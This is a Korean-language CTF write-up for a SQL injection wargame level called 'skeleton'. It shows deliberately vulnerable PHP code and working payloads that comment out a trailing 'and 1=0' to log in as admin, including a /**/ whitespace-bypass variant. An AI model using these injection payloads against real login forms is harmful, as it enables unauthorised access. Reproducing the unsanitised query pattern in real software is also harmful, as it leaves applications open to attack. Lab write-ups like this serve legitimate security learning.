문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>쿼리 끝에 and 1=0이 붙어 있어서 기본 조건은 항상 거짓이 됩니다. 따라서 admin 조건을 추가하고 뒤의 and 1=0을 주석 처리해야 합니다.
exploit
?pw=' or id='admin'%23URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.
?pw=%27%20or%20id=%27admin%27%23최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_skeleton where id='guest' and pw='' or id='admin'#' and 1=0id='admin' 조건이 참이 되고, 뒤의 ' and 1=0은 # 주석으로 처리됩니다.
주석을 공백처럼 사용하는 풀이
일반 공백 대신 /**/ 블록 주석으로 토큰을 나누어도 같은 쿼리를 만들 수 있습니다.
?pw='/**/or/**/id='admin'%23URL 인코딩을 명확히 적용하면 다음과 같습니다.
?pw=%27%2F%2A%2A%2For%2F%2A%2A%2Fid=%27admin%27%23최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_skeleton where id='guest' and pw=''/**/or/**/id='admin'#' and 1=0/**/는 주석으로 제거되면서 공백처럼 토큰을 분리하고, # 뒤의 and 1=0은 실행되지 않습니다.
배운 내용
- 쿼리 뒤에 고정으로 붙는 조건이 있으면 주석 처리를 통해 제거할 수 있는지 확인합니다.
and가or보다 우선순위가 높기 때문에, 주석이 없으면 뒤의and 1=0때문에 원하는 결과가 사라질 수 있습니다./**/블록 주석은 공백 필터링 우회나 토큰 분리에 사용할 수 있습니다.- URL에서
#은 반드시%23으로 인코딩해야 서버에 전달됩니다.